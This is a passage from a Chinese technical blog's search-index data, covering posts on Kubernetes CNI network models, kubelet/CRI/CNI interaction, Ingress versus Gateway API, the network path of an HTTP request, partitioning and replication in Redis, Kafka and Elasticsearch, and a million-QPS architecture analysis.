IP-in-IP 等等。Linux 内核直接提供了 VXLAN 的功能,但是不同的 CNI 插件不一定直接使用的就是 Linux 内核功能,CNI 插件可能会绕过内核自己实现 VXLAN 的封包解包。 这是本文想介绍的第二种 CNI 网络模型 Overlay。 ","date":"2024-09-13","objectID":"/k8s-cni-network-model/:4:0","tags":["Kubernetes"],"title":"Kubernetes CNI 网络模型概览:VETH \u0026 Bridge / Overlay / BGP","uri":"/k8s-cni-network-model/"},{"categories":["Kubernetes"],"content":"BGP 当涉及到多集群或混合云场景时,某些情况下集群内的 Pod 需要能被外部直接访问。此时 BGP(Border Gateway Protocol 边界网关协议)便是解决方案之一。 BGP 已经广泛用于大规模数据中心或骨干网络的路由,它允许不同 AS(autonomous systems)自治系统(可以简单理解为两个独立的网络)之间交换路由信息。 在 Kubernetes 中,可以将集群视为一个 AS 自治系统,通过 BGP 交互路由信息(边界网关互相知道对方网络中的路由),也就是可以通过宣布 Pod 的 IP 地址,使得集群外能够直接路由到这些 Pod IP 地址,从而实现 Pod 的集群外部可达性。 既然能使用 BGP 交互路由信息,那么直接通过 BGP 去交换集群内所有 pod IP 信息,从而让集群内 pod IP 可路由,进而直接使用本文上述的第一种 CNI 网络模型 Native-Routing 是否可行?答案是可行,但是不建议这么做,因为 BGP 缺乏数据路径的可编程性(不建议使用 BGP 建立集群内部网络的可达性)。 ","date":"2024-09-13","objectID":"/k8s-cni-network-model/:5:0","tags":["Kubernetes"],"title":"Kubernetes CNI 网络模型概览:VETH \u0026 Bridge / Overlay / BGP","uri":"/k8s-cni-network-model/"},{"categories":["Kubernetes"],"content":"总结 本文介绍了 Native-Routing、Overlay、BGP 三种 CNI 网络模型。使用 Native-Routing 的前提条件是集群内 Pod IP 可路由,然而很多时候无法满足此要求,因此众多 CNI 插件通过 VXLAN/IP-in-IP 等方式实现了 Overlay 网络,进而保证集群内容器的互通。在某些复杂场景下(如跨集群或跨云环境),集群内 Pod 需要支持集群外部的可访问性,此时则可以使用 BGP 的方式。 参考资料: https://kubernetes.io/docs/concepts/services-networking/ https://kubernetes.io/docs/concepts/cluster-administration/addons/ https://developers.redhat.com/blog/2018/10/22/introduction-to-linux-interfaces-for-virtual-networking https://docs.cilium.io/en/stable/network/concepts/routing/ https://docs.tigera.io/calico/latest/networking/configuring/vxlan-ipip https://github.com/flannel-io/flannel/blob/master/Documentation/backends.md ","date":"2024-09-13","objectID":"/k8s-cni-network-model/:6:0","tags":["Kubernetes"],"title":"Kubernetes CNI 网络模型概览:VETH \u0026 Bridge / Overlay / BGP","uri":"/k8s-cni-network-model/"},{"categories":["Kubernetes"],"content":"Kubernetes 之 kubelet 与 CRI、CNI 的交互过程","date":"2024-09-07","objectID":"/kubelet-cri-cni/","tags":["Kubernetes"],"title":"Kubernetes 之 kubelet 与 CRI、CNI 的交互过程","uri":"/kubelet-cri-cni/"},{"categories":["Kubernetes"],"content":"序言 当一个新的 Pod 被提交创建之后,Kubelet、CRI、CNI 这三个组件之间进行了哪些交互? ","date":"2024-09-07","objectID":"/kubelet-cri-cni/:1:0","tags":["Kubernetes"],"title":"Kubernetes 之 kubelet 与 CRI、CNI 的交互过程","uri":"/kubelet-cri-cni/"},{"categories":["Kubernetes"],"content":"Kubelet -\u003e CRI -\u003e CNI 如上图所示: Kubelet 从 kube-api-server 处监听到有新的 pod 被调度到了自己的节点且需要创建。 Kubelet 创建 sandbox 并配置好 Pod 的环境,其中包括: Kubelet 通过 gRPC 调用 CRI 组件创建 sandbox。 CRI 通过命令行调用 CNI 设置 pod 的网络。 Kubelet 创建 container 阶段: 调用 CRI 拉取镜像。 调用 CRI 创建 container。 调用 CRI 启动 container。 注意: 先创建一个 sandbox 就是为了先设置好 pod 的网络命名空间,因为用户容器可能面临启动失败等各种异常情况。 从 kubernetes v1.24 版本开始,Kubelet 不再管理 CNI,而是由 CRI 负责调用 CNI。 CRI 的具体实现有 containerd,cri-o,docker 等几种。 containerd 的架构图如下: cri-o 的架构图如下: 从图中也可以看到 CNI 由 CRI 负责调用。 再进一步看看细节一点的流程: Kubelet 在 SyncPod 阶段同步 Pod: 创建 sandbox,其中会进行两个 gRPC 方法的调用: Kubelet 调用 RuntimeService.RunPodSandbox,CRI 开始创建 pod 的各种命名空间(隔离环境),然后再拉起 sandbox 容器,接着 CRI 调用 CNI 设置 pod 网络环境,包括分配 pod IP 地址。 Kubelet 调用 RuntimeService.PodSandboxStatus 确认 pod sandbox 状态。 进行容器创建阶段(按照 ephemeral、init、normal 的顺序),此时涉及三个 gRPC 调用: Kubelet 调用 ImageService.PullImage 由 CRI 拉取镜像。 Kubelet 调用 RuntimeService.CreateContainer 由 CRI 创建容器,这里主要是配置好环境。 Kubelet 调用 RuntimeService.StartContainer 由 CRI 启动容器,至此容器才跑起来。 新建 Pod 时 Kubelet 与 CRI、CNI 之间的交互大致如上所述。 ","date":"2024-09-07","objectID":"/kubelet-cri-cni/:2:0","tags":["Kubernetes"],"title":"Kubernetes 之 kubelet 与 CRI、CNI 的交互过程","uri":"/kubelet-cri-cni/"},{"categories":["Kubernetes"],"content":"CRI \u0026 CNI Kubernetes 通过定义标准接口的方式,与下层具体实现进行了解耦。其中 CRI 是容器运行时接口,通信协议使用的是 gRPC;CNI 是容器网络接口,交互方式则是命令行二进制可执行文件。 CRI 的 gRPC proto 如下,定义了 RuntimeService 和 ImageService 两种服务以及多种方法: CNI 则只有六种操作: ","date":"2024-09-07","objectID":"/kubelet-cri-cni/:3:0","tags":["Kubernetes"],"title":"Kubernetes 之 kubelet 与 CRI、CNI 的交互过程","uri":"/kubelet-cri-cni/"},{"categories":["Kubernetes"],"content":"总结 其实不管是新建 Pod 还是其它场景,Kubelet、CRI、CNI 的调用过程都是 Kubelet 调用 CRI,CRI 调用 CNI。 参考资料: https://kubernetes.io/docs/concepts/extend-kubernetes/compute-storage-net/network-plugins/ https://github.com/kubernetes/cri-api/blob/master/pkg/apis/runtime/v1/api.proto https://github.com/containernetworking/cni/blob/main/SPEC.md ","date":"2024-09-07","objectID":"/kubelet-cri-cni/:4:0","tags":["Kubernetes"],"title":"Kubernetes 之 kubelet 与 CRI、CNI 的交互过程","uri":"/kubelet-cri-cni/"},{"categories":["Kubernetes"],"content":"Kubernetes 网关流量管理:Ingress 与 Gateway API","date":"2024-08-31","objectID":"/k8s-ingress-vs-gateway/","tags":["Kubernetes"],"title":"Kubernetes 网关流量管理:Ingress 与 Gateway API","uri":"/k8s-ingress-vs-gateway/"},{"categories":["Kubernetes"],"content":"引言 随着 Kubernetes 在云原生领域的广泛使用,流量管理成为了至关重要的一环。为了有效地管理从外部流入集群的流量,Kubernetes 提供了多种解决方案,其中最常见的是 Ingress 和新兴的 Gateway API。 ","date":"2024-08-31","objectID":"/k8s-ingress-vs-gateway/:1:0","tags":["Kubernetes"],"title":"Kubernetes 网关流量管理:Ingress 与 Gateway API","uri":"/k8s-ingress-vs-gateway/"},{"categories":["Kubernetes"],"content":"Ingress 随着微服务架构的发展,服务的数量和复杂性不断增加,如何高效、安全地管理进入集群的外部流量成为了一个亟待解决的问题。Kubernetes 的 Ingress 资源应运而生,它旨在提供一种简单的方式来配置 HTTP 或 HTTPS 流量的路由,并且可以通过反向代理将外部流量分发到集群内部的服务。 例如,将不同的 host 分发到不同的服务: apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: name-virtual-host-ingress spec: rules: - host: foo.bar.com http: paths: - pathType: Prefix path: \"/\" backend: service: name: service1 port: number: 80 - host: bar.foo.com http: paths: - pathType: Prefix path: \"/\" backend: service: name: service2 port: number: 80 尽管 Ingress 为流量管理提供了方便的入口配置,但它也存在一些致命缺陷: 缺乏灵活性:Ingress 往往只支持 L7 HTTP(S) 协议,缺乏对其他协议(如 L4 TCP/UDP)的支持。 供应商依赖:不同的 Ingress 控制器具有不同的实现,功能差异较大,容易导致锁定某个特定供应商的实现(比如在不同的网关里配置不同的 annotations)。 扩展性有限:随着集群规模的扩大和复杂化,单一的 Ingress 资源可能难以满足大规模集群的需求。 ","date":"2024-08-31","objectID":"/k8s-ingress-vs-gateway/:2:0","tags":["Kubernetes"],"title":"Kubernetes 网关流量管理:Ingress 与 Gateway API","uri":"/k8s-ingress-vs-gateway/"},{"categories":["Kubernetes"],"content":"Gateway API 为了弥补 Ingress 的局限性,社区引入了 Gateway API。它不仅提供了更强大的流量路由功能,还提升了对多种协议、跨团队协作、以及多供应商兼容性的支持。Gateway API 的目标是将流量管理从服务网格、Ingress 控制器等解耦出来,提供一个标准化的 API 用于控制流量。 Gateway API 的优点有: 统一化标准化:由于定义了一套标准化的 API,即使替换了底层使用的网关,上层仍然可以保持无感的,这也避免了网关的供应商依赖。 更多协议支持:Gateway API 支持 L4 ~ L7 多种协议,包括 HTTP、gRPC、TCP、UDP 等。 分层设计与职责分离:Gateway API 引入了 GatewayClass、Gateway 和 Route 等资源,不同的角色管理不同的资源。 ","date":"2024-08-31","objectID":"/k8s-ingress-vs-gateway/:3:0","tags":["Kubernetes"],"title":"Kubernetes 网关流量管理:Ingress 与 Gateway API","uri":"/k8s-ingress-vs-gateway/"},{"categories":["Kubernetes"],"content":"GatewayClass GatewayClass 由基础设施人员管理,用来描述底层的网关实现(例如,你可以有不同的 GatewayClass 来分别代表使用 Nginx、Istio、或者其他负载均衡器的网关)。 例如,以下定义了一个 Nginx 的网关实现: apiVersion: gateway.networking.k8s.io/v1 kind: GatewayClass metadata: labels: app.kubernetes.io/instance: nginx-gateway app.kubernetes.io/name: nginx-gateway app.kubernetes.io/version: 1.4.0 name: nginx spec: controllerName: gateway.nginx.org/nginx-gateway-controller ","date":"2024-08-31","objectID":"/k8s-ingress-vs-gateway/:3:1","tags":["Kubernetes"],"title":"Kubernetes 网关流量管理:Ingress 与 Gateway API","uri":"/k8s-ingress-vs-gateway/"},{"categories":["Kubernetes"],"content":"Gateway Gateway 由集群管理员负责,是流量入口的具体定义,用来代表一个物理或虚拟的流量入口点。Gateway 资源会引用一个 GatewayClass 来确定网关的实现方式,并包含一组监听器(listeners),这些监听器定义了网关监听的端口和协议。 例如,以下定义了一个网关,监听 80 端口的 HTTP 入站流量,底层使用 nginx 网关实现: apiVersion: gateway.networking.k8s.io/v1 kind: Gateway metadata: name: prod-web spec: gatewayClassName: nginx listeners: - protocol: HTTP port: 80 name: prod-web-gw ","date":"2024-08-31","objectID":"/k8s-ingress-vs-gateway/:3:2","tags":["Kubernetes"],"title":"Kubernetes 网关流量管理:Ingress 与 Gateway API","uri":"/k8s-ingress-vs-gateway/"},{"categories":["Kubernetes"],"content":"Route Route 定义路由规则,针对不同的协议类型使用不同的资源,如 HTTPRoute、TLSRoute、TCPRoute、UDPRoute、GRPCRoute 等。 例如,使用 HTTPRoute 根据 HTTP 请求头分发到不同的服务: apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: foo-route labels: gateway: prod-web-gw spec: hostnames: - foo.example.com rules: - backendRefs: - name: foo-v1 port: 8080 - matches: - headers: - name: traffic value: test backendRefs: - name: foo-v2 port: 8080 合理配置 Route 便可以轻松实现金丝雀发布、蓝绿部署、流量镜像、重定向与请求改写等各种复杂的路由功能。 ","date":"2024-08-31","objectID":"/k8s-ingress-vs-gateway/:3:3","tags":["Kubernetes"],"title":"Kubernetes 网关流量管理:Ingress 与 Gateway API","uri":"/k8s-ingress-vs-gateway/"},{"categories":["Kubernetes"],"content":"GAMMA 我们把集群内外方向的流量称为“南北向流量”,把集群内部服务之间的流量称为“东西向流量”。 虽然 Gateway API 最开始的关注点集中在南北向流量上,但是随着 service mesh 服务网格的兴起,人们也希望能将东西向流量一并统一化与标准化。因此 Gateway API 自 v1.1.0 版本起,已将 GAMMA(Gateway API for Mesh Management and Administration)倡议的工作纳入标准渠道,并且有一个专门的子项目来做这件事。 简而言之,Gateway API 正在实现集群内外流量管理的大一统。 ","date":"2024-08-31","objectID":"/k8s-ingress-vs-gateway/:3:4","tags":["Kubernetes"],"title":"Kubernetes 网关流量管理:Ingress 与 Gateway API","uri":"/k8s-ingress-vs-gateway/"},{"categories":["Kubernetes"],"content":"总结 Ingress 是否会被 Gateway API 替代?不会,Ingress 自 1.19 版本 GA 后并没有计划弃用。 Ingress 与 Gateway API 都是声明性资源(可以简单理解为配置文件),两者都需要由具体的网关支持工作。 Ingress 提供了较为简单的流量管理,适用于小规模和简单的流量需求,其实现依赖于具体的控制器,因此存在一定的供应商绑定问题。 Gateway API 的标准化设计提供了跨平台的兼容性和一致性,并且支持多协议、多团队协作和更复杂的流量管理需求。 参考资料: https://kubernetes.io/docs/concepts/services-networking/ingress/ https://gateway-api.sigs.k8s.io/ ","date":"2024-08-31","objectID":"/k8s-ingress-vs-gateway/:4:0","tags":["Kubernetes"],"title":"Kubernetes 网关流量管理:Ingress 与 Gateway API","uri":"/k8s-ingress-vs-gateway/"},{"categories":["网络"],"content":"图解计算机网络:一条 HTTP 请求的网络拓扑之旅","date":"2024-08-24","objectID":"/http-network-travel/","tags":["网络"],"title":"图解计算机网络:一条 HTTP 请求的网络拓扑之旅","uri":"/http-network-travel/"},{"categories":["网络"],"content":"引言 常见的网络拓扑结构如下图所示: 在此拓扑中,终端设备通过 WiFi 连接到路由器,路由器再连接到光猫(或终端设备通过移动网络 4G/5G 连接到基站),之后 ISP 网络服务提供商接管网络通信,将请求最终转发至应用服务器。 从用户设备发出的 HTTP 请求是如何穿越网络的?我们将深入探讨这一过程。 ","date":"2024-08-24","objectID":"/http-network-travel/:1:0","tags":["网络"],"title":"图解计算机网络:一条 HTTP 请求的网络拓扑之旅","uri":"/http-network-travel/"},{"categories":["网络"],"content":"HTTP 请求的网络旅途 ","date":"2024-08-24","objectID":"/http-network-travel/:2:0","tags":["网络"],"title":"图解计算机网络:一条 HTTP 请求的网络拓扑之旅","uri":"/http-network-travel/"},{"categories":["网络"],"content":"OSI 网络体系结构 先从计算机网络的基础架构开始: 上图展示了五层简化版 OSI 网络模型。每层都对网络通信至关重要,特别是在 HTTP 请求的传递过程中。关键点包括: 传输层:TCP 头部包含的源端口和目标端口。 网络层:IP 头部包含的源 IP 地址和目标 IP 地址。 数据链路层:MAC 头部包含的源 MAC 地址和目标 MAC 地址。 接下来我们来看看,在网络设备的转发过程中,这些信息如何发生变化。 ","date":"2024-08-24","objectID":"/http-network-travel/:2:1","tags":["网络"],"title":"图解计算机网络:一条 HTTP 请求的网络拓扑之旅","uri":"/http-network-travel/"},{"categories":["网络"],"content":"HTTP 网络之旅 下图展示了完整的网络路径: 一、用户终端设备 –\u003e 路由器 HTTP 请求基于 TCP 连接。用户通常会请求一个域名地址,首先必须通过 DNS 解析获取服务器的 IP 地址。DNS 的查询过程如下: 浏览器 DNS 缓存(如果访问的是 web 网页)。 本地操作系统 DNS 缓存。 本地 /etc/hosts 文件是否有配置域名到 IP 的直接映射。 DNS 查询: 向域名服务器(地址配置在 /etc/resolv.conf 文件)发起查询: 域名服务器地址可以是:ISP 域名服务器或公共 DNS 服务器(如 Google 8.8.8.8 或 Cloudflare 1.1.1.1)。 通常,终端设备通过路由器连接网络,这时 /etc/resolv.conf 的 nameserver 指向的就是路由器的 WAN IP(如 192.168.3.1),路由器将继续转发 DNS 查询。 递归查询:根域名服务器 -\u003e 顶级域名服务器 -\u003e 权威域名服务器(存储真实的 DNS 记录)。 DNS 解析完毕后,数据开始从应用层向下传递并封装: 传输层:封装 TCP 头,包含源端口(一般随机生成)和目标端口(HTTP 默认 80)。 网络层:封装 IP 头,包含源 IP(用户设备的内网 IP)和目标 IP(远程服务器公网 IP)地址。 用户设备通过 ARP 协议查找目标 MAC 地址(此时得到路由器的 MAC 地址)。在数据链路层则封装了 MAC 头部,其中包含了源 MAC(用户设备 MAC)地址和目标 MAC(路由器 MAC)地址。 最后,数据在物理层通过无线电波(WiFi)传递二进制数据到路由器(如果是双绞线则是电信号,光纤则是光信号)。路由器接收到数据后,进入下一阶段处理。 二、路由器 –\u003e 光猫 路由器在物理层接收到二进制数据后,将数据解析成上一层的数据链路层格式,随后改写源 MAC 和目标 MAC 地址,将数据发送到下一跳设备(光猫)。 由于路由器没有公网 IP 地址,此时不会进行 NAT(网络地址转换),IP 头部中的源 IP 仍为用户设备的内网 IP。 三、光猫 –\u003e ISP NAT 设备 光猫负责将数据通过一系列中间网络设备,最终传递到 ISP 的 NAT 设备。 四、ISP NAT 设备 –\u003e 服务器 由于公网 IPv4 地址的数量有限,ISP 通常会为同一区域的多个用户共享一个公网 IP。 此时,ISP 的 NAT 设备会将源 IP 地址转换为共享的公网 IP 地址。至此,数据才进入公网传输,并最终达到应用服务器。 服务器在接受到数据后,从下层往上依次解析数据,最终还原出来应用层的 HTTP 请求。 ","date":"2024-08-24","objectID":"/http-network-travel/:2:2","tags":["网络"],"title":"图解计算机网络:一条 HTTP 请求的网络拓扑之旅","uri":"/http-network-travel/"},{"categories":["网络"],"content":"总结 本文介绍了 HTTP 请求从用户终端设备到应用服务器的全过程,并通过图示说明了请求如何在 OSI 模型的不同层次间传递和转化。 ","date":"2024-08-24","objectID":"/http-network-travel/:3:0","tags":["网络"],"title":"图解计算机网络:一条 HTTP 请求的网络拓扑之旅","uri":"/http-network-travel/"},{"categories":["系统架构","分布式"],"content":"DDIA 分布式数据的分区与复制 - 基于 Redis、Kafka、Elasticsearch 的深入分析","date":"2024-08-22","objectID":"/ddia-partition-replication-redis-kafka-es/","tags":["系统架构","分布式"],"title":"DDIA 分布式数据的分区与复制 - 基于 Redis、Kafka、Elasticsearch 的深入分析","uri":"/ddia-partition-replication-redis-kafka-es/"},{"categories":["系统架构","分布式"],"content":"引言 本文基于《Designing Data-Intensive Applications》一书(设计数据密集型应用,简称 DDIA),深入探讨了 Redis、Kafka 和 Elasticsearch 等常用组件的分区与复制机制。通过这些案例分析,我们可以更好地理解分布式系统的基本原理和实际应用。 ","date":"2024-08-22","objectID":"/ddia-partition-replication-redis-kafka-es/:1:0","tags":["系统架构","分布式"],"title":"DDIA 分布式数据的分区与复制 - 基于 Redis、Kafka、Elasticsearch 的深入分析","uri":"/ddia-partition-replication-redis-kafka-es/"},{"categories":["系统架构","分布式"],"content":"DDIA 复制与分区 ","date":"2024-08-22","objectID":"/ddia-partition-replication-redis-kafka-es/:2:0","tags":["系统架构","分布式"],"title":"DDIA 分布式数据的分区与复制 - 基于 Redis、Kafka、Elasticsearch 的深入分析","uri":"/ddia-partition-replication-redis-kafka-es/"},{"categories":["系统架构","分布式"],"content":"复制 复制机制主要由领导者(leader,又称为 master/primary)和追随者(follower,又称为 slave/replica)组成。 根据领导者的数量,复制可以分为以下几种形式: 单主复制:最常见的形式。 多主复制:常见于多数据中心、离线设备、协同编辑等场景。 无主复制:多受 Dynamo 系统启发。 根据复制时的确认机制,复制分为: 同步:客户端发起请求,主库和从库都完成变更后才响应。 异步:主库完成变更后立即响应,不等待从库。 半同步:一主多从,某些从库同步,其他从库异步。 复制的主要挑战在于复制延迟,客户端对从库读有可能读到落后的数据。 ","date":"2024-08-22","objectID":"/ddia-partition-replication-redis-kafka-es/:2:1","tags":["系统架构","分布式"],"title":"DDIA 分布式数据的分区与复制 - 基于 Redis、Kafka、Elasticsearch 的深入分析","uri":"/ddia-partition-replication-redis-kafka-es/"},{"categories":["系统架构","分布式"],"content":"分区 分区(partition 或 shard 等)是指将大型数据集划分成若干小部分。 对 key-value 数据的分区方式包括: 范围分区:例如开头字母 A-F 为一组,G-N 为一组,其余字母为一组。 哈希分区(hash-based):通过哈希算法将 key 打散分布到不同的分区。 分区涉及到次级索引则会更复杂,常见方法有: 本地索引:也称为文档分区索引,每个分区只维护自己的次级索引。 全局索引:覆盖所有分区数据。 分区的常见问题有负载偏斜(数据分布不均衡)、热点、分区再平衡等。 ","date":"2024-08-22","objectID":"/ddia-partition-replication-redis-kafka-es/:2:2","tags":["系统架构","分布式"],"title":"DDIA 分布式数据的分区与复制 - 基于 Redis、Kafka、Elasticsearch 的深入分析","uri":"/ddia-partition-replication-redis-kafka-es/"},{"categories":["系统架构","分布式"],"content":"常用组件分析 ","date":"2024-08-22","objectID":"/ddia-partition-replication-redis-kafka-es/:3:0","tags":["系统架构","分布式"],"title":"DDIA 分布式数据的分区与复制 - 基于 Redis、Kafka、Elasticsearch 的深入分析","uri":"/ddia-partition-replication-redis-kafka-es/"},{"categories":["系统架构","分布式"],"content":"Redis Redis 在集群模式下,总共划分了 2^14 = 16384 个 slot 数据槽,每个节点可以灵活分配多个 slot。数据被分配到哪个 slot 中,由对 key 进行 CRC16 计算后与 16384 取模决定。这是一种典型的 hash-based 算法。 取模运算最大的缺点就是除数(这里是数据槽的个数 16384)不能轻易改变,因为一旦改变则意味着同样的 key 可能会被分配到不同的槽中,由此会带来大量的数据迁移问题,因此 Redis 的 slot 数量被设计成了固定值。 至于分区再平衡的问题,当集群的节点数量发生改变时,Redis 本身并未提供 slot 自动调整的机制,需要用户手动调整或者使用一些第三方工具自动调整。 Redis 的复制提供了主从机制,以节点为单位,从节点同步主节点的数据,复制过程默认是异步的,可以设置多个从节点,并配置以下参数: min-replicas-to-write:可以同步数据的最少从节点数,满足时才允许主节点进行写操作。 min-replicas-max-lag:从节点允许的最大同步延迟(以秒为单位)。 replica-read-only:从节点只读,即从节点也可以处理读请求,但是要注意数据延迟导致的一致性问题。 ","date":"2024-08-22","objectID":"/ddia-partition-replication-redis-kafka-es/:3:1","tags":["系统架构","分布式"],"title":"DDIA 分布式数据的分区与复制 - 基于 Redis、Kafka、Elasticsearch 的深入分析","uri":"/ddia-partition-replication-redis-kafka-es/"},{"categories":["系统架构","分布式"],"content":"Kafka Kafka 中的节点叫 broker,分区叫 partition。分区的数量设置后只能增加不能减少。将消息分配到具体的分区的策略有: 默认轮询 基于消息进行 hash 自定义策略 复制以 partition 为单位,可以配置一主多从(多个副本),通过 replica.lag.time.max.ms 参数配置副本同步延迟的最大时间窗口,满足条件的副本统称为 ISR(In-Sync Replicas)。 数据写入受以下影响: 消息生产者 acks 参数: acks 为 0 :不等待 broker 的确认,这意味着消息可能投递不成功,一般不会使用。 acks 为 1 :等待 leader partition 确认写入即可,不等待 follower 。 acks 为 all 或者 -1 :必须等待 follower 确认。 min.insync.replicas 参数:配合 acks=all 使用,确认写入的最少 ISR 副本数。 Kafka 的 follower partition(从分区)不提供消费能力,只用作冗余备份和故障切换。 ","date":"2024-08-22","objectID":"/ddia-partition-replication-redis-kafka-es/:3:2","tags":["系统架构","分布式"],"title":"DDIA 分布式数据的分区与复制 - 基于 Redis、Kafka、Elasticsearch 的深入分析","uri":"/ddia-partition-replication-redis-kafka-es/"},{"categories":["系统架构","分布式"],"content":"Elasticsearch 在 Elasticsearch 中,数据称为 document 文档,分片统称 shard,又细分为 primary shard 主分片和 replica shard 副本分片。 数据默认根据文档 id(也可以配置为文档中的其它值)取哈希,然后与主分片数取模,最后确认文档归属的分片。 只要看到取模运算,就知道分区数不能轻易扩展,没错,ES 里的主分片数是不能修改的。 复制以 shard 为单位,可以配置多个副本分片。副本分片与主分片的数据同步是异步的,可以通过 wait_for_active_shards 参数设置数据写入时需要确认的分片数。副本分片可以处理读请求。 倒排索引 ES 会对文档进行分词后构建倒排索引,此时就涉及到了 DDIA 中描述的分区与次级索引,前文提到有两种构建次级索引的方式:本地索引和全局索引。 ES 使用的是本地索引的方式,即每个 shard 分片内部构建自己的倒排索引。这就引发了另外的问题,当数据分布不均匀时,由于每个分片使用自身的而不是全局的 Term/Document 频率进行相关度打分,因此可能会造成打分偏差,从而影响最终搜索结果的相关性,这种情况就是默认的 search_type 为 query_then_fetch。而另一种搜索类型 dfs_query_then_fetch 则是先查询每个分片,汇总得到全局的 Term/Document 频率再进行打分,精确度是提高了,但是性能极差,一般也很少使用。 为了解决上述问题,大多会为了性能而容忍偏差,但是通过配置 routing 参数将同样的请求路由到同样的节点(保证同一个用户查询结果一致就行)。 ","date":"2024-08-22","objectID":"/ddia-partition-replication-redis-kafka-es/:3:3","tags":["系统架构","分布式"],"title":"DDIA 分布式数据的分区与复制 - 基于 Redis、Kafka、Elasticsearch 的深入分析","uri":"/ddia-partition-replication-redis-kafka-es/"},{"categories":["系统架构","分布式"],"content":"总结 本文通过对 Redis、Kafka 和 Elasticsearch 三个常用组件的分析,展示了分布式系统中分区和复制机制的设计与实现。 可以看到哈希分区是常见的选择。基于性能和复杂度的权衡,单主异步复制往往是默认配置,但为了提供更高的数据一致性,这些组件也会提供多从复制确认的方案。 ","date":"2024-08-22","objectID":"/ddia-partition-replication-redis-kafka-es/:4:0","tags":["系统架构","分布式"],"title":"DDIA 分布式数据的分区与复制 - 基于 Redis、Kafka、Elasticsearch 的深入分析","uri":"/ddia-partition-replication-redis-kafka-es/"},{"categories":["系统架构"],"content":"典型系统架构的百万并发理论分析","date":"2024-08-15","objectID":"/million-qps-system/","tags":["系统架构"],"title":"典型系统架构的百万并发理论分析","uri":"/million-qps-system/"},{"categories":["系统架构"],"content":"引言 本文将会描述一个典型的系统架构,然后分析其在理论上是否能够支撑百万并发的请求。 ","date":"2024-08-15","objectID":"/million-qps-system/:1:0","tags":["系统架构"],"title":"典型系统架构的百万并发理论分析","uri":"/million-qps-system/"},{"categories":["系统架构"],"content":"典型系统架构及分析 为了降低复杂性,笔者将系统简化为了下图所示: 该系统架构包含的组件有: 网关层:Load Balancer / API Gateway 服务层:HTTP Server 中间件:Redis、MQ 存储层:MySQL / PostgreSQL 忽略业务场景的复杂性,让我们依次分析各个常见的组件。 ","date":"2024-08-15","objectID":"/million-qps-system/:2:0","tags":["系统架构"],"title":"典型系统架构的百万并发理论分析","uri":"/million-qps-system/"},{"categories":["系统架构"],"content":"Load Balancer 负责均衡 \u0026 API 网关: 负责均衡主要关注的是流量分发这一单一功能。 API 网关涉及更广泛的功能集,包括但不限于 API 管理、安全、转换、监控等。 两者在具体的产品上界限比较模糊。 LB 按类型可分为:硬件负载均衡器、软件负载均衡器、云负载均衡器。 常用的开源软件 LB 包括:Nginx、HAProxy、Kong、Traefik、Envoy 等等。 常见 LB 支持的 RPS(Requests Per Second) 从几万到几十万不等,依赖于硬件和配置。在高性能硬件配置的情况下可以支持百万请求转发。而云服务商提供的 LB 宣称支持百万、千万级别。 参考资料: HAProxy 单实例每秒两百万请求转发 AWS NLB 支持每秒百万请求 ","date":"2024-08-15","objectID":"/million-qps-system/:2:1","tags":["系统架构"],"title":"典型系统架构的百万并发理论分析","uri":"/million-qps-system/"},{"categories":["系统架构"],"content":"HTTP Server 忽略业务处理逻辑,HTTP Server 根据编程语言框架的不同,RPS 从几万到几十万不等,甚至能达到几百万。由于无状态的特性,HTTP Server 也很容易进行横向扩展,因此支持百万并发完全没有问题。 如下图所示: 参考资料: Web Framework Benchmark ","date":"2024-08-15","objectID":"/million-qps-system/:2:2","tags":["系统架构"],"title":"典型系统架构的百万并发理论分析","uri":"/million-qps-system/"},{"categories":["系统架构"],"content":"Redis 一般情况我们认为 Redis 单机 QPS 可以达到 10 万,根据 Redis Cluster 的线性扩展性理论(单机 QPS 为 m,那么 n 台机器的集群的总 QPS 为 m * n,官方文档说集群上限可以有 1000 个节点),Redis 集群可以支撑百万级、甚至千万 QPS。而 AWS 扩展到了单集群 5 亿 QPS。 参考资料: Redis Cluster Spec AWS 将 Redis 集群扩展到了 5 亿 QPS 且响应时间为微秒 ","date":"2024-08-15","objectID":"/million-qps-system/:2:3","tags":["系统架构"],"title":"典型系统架构的百万并发理论分析","uri":"/million-qps-system/"},{"categories":["系统架构"],"content":"MQ 对于消息队列,我们把百万并发转换成其每秒接受百万条消息的能力,由于 MQ 往往是追加写入,再加上集群的支持,支撑百万并发也没有什么问题。 参考资料: Kafka 在三台廉价机器上进行每秒 2 百万写入 ","date":"2024-08-15","objectID":"/million-qps-system/:2:4","tags":["系统架构"],"title":"典型系统架构的百万并发理论分析","uri":"/million-qps-system/"},{"categories":["系统架构"],"content":"MySQL / PostgreSQL 如下是某云服务商提供的 MySQL 5.7 性能测试数据: 从图中可以看到即使是 16C64G 并发度 128 的情况下支持的 QPS 也不到 14 万,TPS 不到 7000。另外再考虑连接数和线程的限制(MySQL 会为每条连接建立一个线程),数据库想要直接支持百万 QPS 不可能,传统关系型数据库是一个明显的瓶颈点,只能做分库、缓存、限流等措施。 参考资料: MySQL 5.7 性能测试 ","date":"2024-08-15","objectID":"/million-qps-system/:2:5","tags":["系统架构"],"title":"典型系统架构的百万并发理论分析","uri":"/million-qps-system/"},{"categories":["系统架构"],"content":"网络 网络带宽是一个不可忽视的点。 数据中心的网络带宽常见规格有:10 Gbps、40 Gbps、100 Gbps、400 Gbps 甚至更高。 以 10 Gbps 为例,10 Gbps = 1.25 GB/s,假设每个请求大小是 1 KB,那么每秒 1 百万请求则需要 1 GB/s,可以看出来 10 Gbps 的带宽接近极限。 ","date":"2024-08-15","objectID":"/million-qps-system/:2:6","tags":["系统架构"],"title":"典型系统架构的百万并发理论分析","uri":"/million-qps-system/"},{"categories":["系统架构"],"content":"总结 本文化繁为简,以一个典型的系统架构为例,从理论上分析了各个组件的性能上限,以及对百万并发的支撑情况。对常用组件心中有数,在系统设计时才能有理有据。至于真实业务场景下的系统最大并发数,则只能由系统压测得到结果。 ","date":"2024-08-15","objectID":"/million-qps-system/:3:0","tags":["系统架构"],"title":"典型系统架构的百万并发理论分析","uri":"/million-qps-system/"},{"categories":["Middleware"],"content":"Redis 全文检索及使用示例","date":"2024-07-15","objectID":"/redis-full-text/","tags":["Redis"],"title":"Redis 全文检索及使用示例","uri":"/redis-full-text/"},{"categories":["Middleware"],"content":"序言 Redis 除了我们所熟知的缓存功能之外,还通过 RedisJSON、RediSearch、RedisTimeSeries、RedisBloom 等模块支持了 JSON 数据、查询与搜索(包括全文检索、向量搜索、GEO 